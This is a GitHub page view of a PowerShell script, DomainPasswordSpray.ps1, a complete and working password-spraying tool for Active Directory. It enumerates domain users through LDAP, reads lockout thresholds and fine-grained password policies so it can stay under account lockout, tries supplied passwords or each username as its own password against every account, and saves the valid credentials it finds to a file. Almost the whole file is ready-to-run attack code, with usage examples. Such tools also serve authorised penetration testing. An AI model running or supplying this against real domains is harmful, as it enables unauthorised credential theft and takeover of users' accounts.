-
Notifications
You must be signed in to change notification settings - Fork 0
/
DomainPasswordSpray.ps1
541 lines (440 loc) · 18.4 KB
/
DomainPasswordSpray.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
function Invoke-DomainPasswordSpray{
<#
.SYNOPSIS
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
DomainPasswordSpray Function: Invoke-DomainPasswordSpray
Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
.PARAMETER UserList
Optional UserList parameter. This will be generated automatically if not specified.
.PARAMETER Password
A single password that will be used to perform the password spray.
.PARAMETER PasswordList
A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
.PARAMETER OutFile
A file to output the results to.
.PARAMETER Domain
The domain to spray against.
.PARAMETER Filter
Custom LDAP filter for users, e.g. "(description=*admin*)"
.PARAMETER Force
Forces the spray to continue and doesn't prompt for confirmation.
.PARAMETER UsernameAsPassword
For each user, will try that user's name as their password
.EXAMPLE
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
Description
-----------
This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
.EXAMPLE
C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
Description
-----------
This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
.EXAMPLE
C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt
Description
-----------
This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt
#>
param(
[Parameter(Position = 0, Mandatory = $false)]
[string]
$UserList = "",
[Parameter(Position = 1, Mandatory = $false)]
[string]
$Password,
[Parameter(Position = 2, Mandatory = $false)]
[string]
$PasswordList,
[Parameter(Position = 3, Mandatory = $false)]
[string]
$OutFile,
[Parameter(Position = 4, Mandatory = $false)]
[string]
$Filter = "",
[Parameter(Position = 5, Mandatory = $false)]
[string]
$Domain = "",
[Parameter(Position = 6, Mandatory = $false)]
[switch]
$Force,
[Parameter(Position = 7, Mandatory = $false)]
[switch]
$UsernameAsPassword,
[Parameter(Position = 8, Mandatory = $false)]
[int]
$Delay=0,
[Parameter(Position = 9, Mandatory = $false)]
$Jitter=0
)
if ($Password)
{
$Passwords = @($Password)
}
elseif($UsernameAsPassword)
{
$Passwords = ""
}
elseif($PasswordList)
{
$Passwords = Get-Content $PasswordList
}
else
{
Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
break
}
try
{
if ($Domain -ne "")
{
# Using domain specified with -Domain option
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
}
else
{
# Trying to use the current user's domain
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
}
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option."
break
}
if ($UserList -eq "")
{
$UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter
}
else
{
# if a Userlist is specified use it and do not check for lockout thresholds
Write-Host "[*] Using $UserList as userlist to spray with"
Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
$UserListArray = @()
try
{
$UserListArray = Get-Content $UserList -ErrorAction stop
}
catch [Exception]
{
Write-Host -ForegroundColor "red" "$_.Exception"
break
}
}
if ($Passwords.count -gt 1)
{
Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
}
$observation_window = Get-ObservationWindow $CurrentDomain
Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
Write-Host "[*] Setting a $observation_window minute wait in between sprays."
# if no force flag is set we will ask if the user is sure they want to spray
if (!$Force)
{
$title = "Confirm Password Spray"
$message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
"Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
$no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
"Cancels the password spray."
$options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
$result = $host.ui.PromptForChoice($title, $message, $options, 0)
if ($result -ne 0)
{
Write-Host "Cancelling the password spray."
break
}
}
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords"
Write-Host "[*] This might take a while depending on the total number of users"
if($UsernameAsPassword)
{
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword
}
else
{
for($i = 0; $i -lt $Passwords.count; $i++)
{
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
if (($i+1) -lt $Passwords.count)
{
Countdown-Timer -Seconds (60*$observation_window)
}
}
}
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
if ($OutFile -ne "")
{
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
}
}
function Countdown-Timer
{
param(
$Seconds = 1800,
$Message = "[*] Pausing to avoid account lockout."
)
foreach ($Count in (1..$Seconds))
{
Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
Start-Sleep -Seconds 1
}
Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
}
function Get-DomainUserList
{
<#
.SYNOPSIS
This module gathers a userlist from the domain.
DomainPasswordSpray Function: Get-DomainUserList
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module gathers a userlist from the domain.
.PARAMETER Domain
The domain to spray against.
.PARAMETER RemoveDisabled
Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
.PARAMETER RemovePotentialLockouts
Removes accounts within 1 attempt of locking out.
.PARAMETER Filter
Custom LDAP filter for users, e.g. "(description=*admin*)"
.EXAMPLE
PS C:\> Get-DomainUserList
Description
-----------
This command will gather a userlist from the domain including all samAccountType "805306368".
.EXAMPLE
C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
Description
-----------
This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
#>
param(
[Parameter(Position = 0, Mandatory = $false)]
[string]
$Domain = "",
[Parameter(Position = 1, Mandatory = $false)]
[switch]
$RemoveDisabled,
[Parameter(Position = 2, Mandatory = $false)]
[switch]
$RemovePotentialLockouts,
[Parameter(Position = 3, Mandatory = $false)]
[string]
$Filter
)
try
{
if ($Domain -ne "")
{
# Using domain specified with -Domain option
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
}
else
{
# Trying to use the current user's domain
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
}
}
catch
{
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
break
}
# Setting the current domain's account lockout threshold
$objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
$AccountLockoutThresholds = @()
$AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
# Getting the AD behavior version to determine if fine-grained password policies are possible
$behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
if ($behaviorversion -ge 3)
{
# Determine if there are any fine-grained password policies
Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
$ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
$ADSearcher.SearchRoot = $objDeDomain
$ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
$PSOs = $ADSearcher.FindAll()
if ( $PSOs.count -gt 0)
{
Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
foreach($entry in $PSOs)
{
# Selecting the lockout threshold, min pwd length, and which
# groups the fine-grained password policy applies to
$PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
$PSOPolicyName = $PSOFineGrainedPolicy.name
$PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
$PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
$PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
# adding lockout threshold to array for use later to determine which is the lowest.
$AccountLockoutThresholds += $PSOLockoutThreshold
Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
}
}
}
$observation_window = Get-ObservationWindow $CurrentDomain
# Generate a userlist from the domain
# Selecting the lowest account lockout threshold in the domain to avoid
# locking out any accounts.
[int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
if ($SmallestLockoutThreshold -eq "0")
{
Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
}
else
{
Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
}
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
$DirEntry = New-Object System.DirectoryServices.DirectoryEntry
$UserSearcher.SearchRoot = $DirEntry
$UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
$UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
$UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
if ($RemoveDisabled)
{
Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
# More precise LDAP filter UAC check for users that are disabled (Joff Thyer)
# LDAP 1.2.840.113556.1.4.803 means bitwise &
# uac 0x2 is ACCOUNTDISABLE
# uac 0x10 is LOCKOUT
# See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
$UserSearcher.filter =
"(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
}
else
{
$UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)"
}
$UserSearcher.PropertiesToLoad.add("samaccountname") > $Null
$UserSearcher.PropertiesToLoad.add("lockouttime") > $Null
$UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null
$UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Null
#Write-Host $UserSearcher.filter
# grab batches of 1000 in results
$UserSearcher.PageSize = 1000
$AllUserObjects = $UserSearcher.FindAll()
Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
$UserListArray = @()
if ($RemovePotentialLockouts)
{
Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
foreach ($user in $AllUserObjects)
{
# Getting bad password counts and lst bad password time for each user
$badcount = $user.Properties.badpwdcount
$samaccountname = $user.Properties.samaccountname
try
{
$badpasswordtime = $user.Properties.badpasswordtime[0]
}
catch
{
continue
}
$currenttime = Get-Date
$lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
$timedifference = ($currenttime - $lastbadpwd).TotalMinutes
if ($badcount)
{
[int]$userbadcount = [convert]::ToInt32($badcount, 10)
$attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
# if there is more than 1 attempt left before a user locks out
# or if the time since the last failed login is greater than the domain
# observation window add user to spray list
if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1))
{
$UserListArray += $samaccountname
}
}
}
}
else
{
foreach ($user in $AllUserObjects)
{
$samaccountname = $user.Properties.samaccountname
$UserListArray += $samaccountname
}
}
Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
return $UserListArray
}
function Invoke-SpraySinglePassword
{
param(
[Parameter(Position=1)]
$Domain,
[Parameter(Position=2)]
[string[]]
$UserListArray,
[Parameter(Position=3)]
[string]
$Password,
[Parameter(Position=4)]
[string]
$OutFile,
[Parameter(Position=5)]
[int]
$Delay=0,
[Parameter(Position=6)]
[double]
$Jitter=0,
[Parameter(Position=7)]
[switch]
$UsernameAsPassword
)
$time = Get-Date
$count = $UserListArray.count
Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())"
$curr_user = 0
Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"
$RandNo = New-Object System.Random
foreach ($User in $UserListArray)
{
if ($UsernameAsPassword)
{
$Password = $User
}
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
if ($Domain_check.name -ne $null)
{
if ($OutFile -ne "")
{
Add-Content $OutFile $User`:$Password
}
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
}
$curr_user += 1
Write-Host -nonewline "$curr_user of $count users tested`r"
if ($Delay)
{
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
}
}
}
function Get-ObservationWindow($DomainEntry)
{
# Get account lockout observation window to avoid running more than 1
# password spray per observation window.
$lockObservationWindow_attr = $DomainEntry.Properties['lockoutObservationWindow']
$observation_window = $DomainEntry.ConvertLargeIntegerToInt64($lockObservationWindow_attr.Value) / -600000000
return $observation_window
}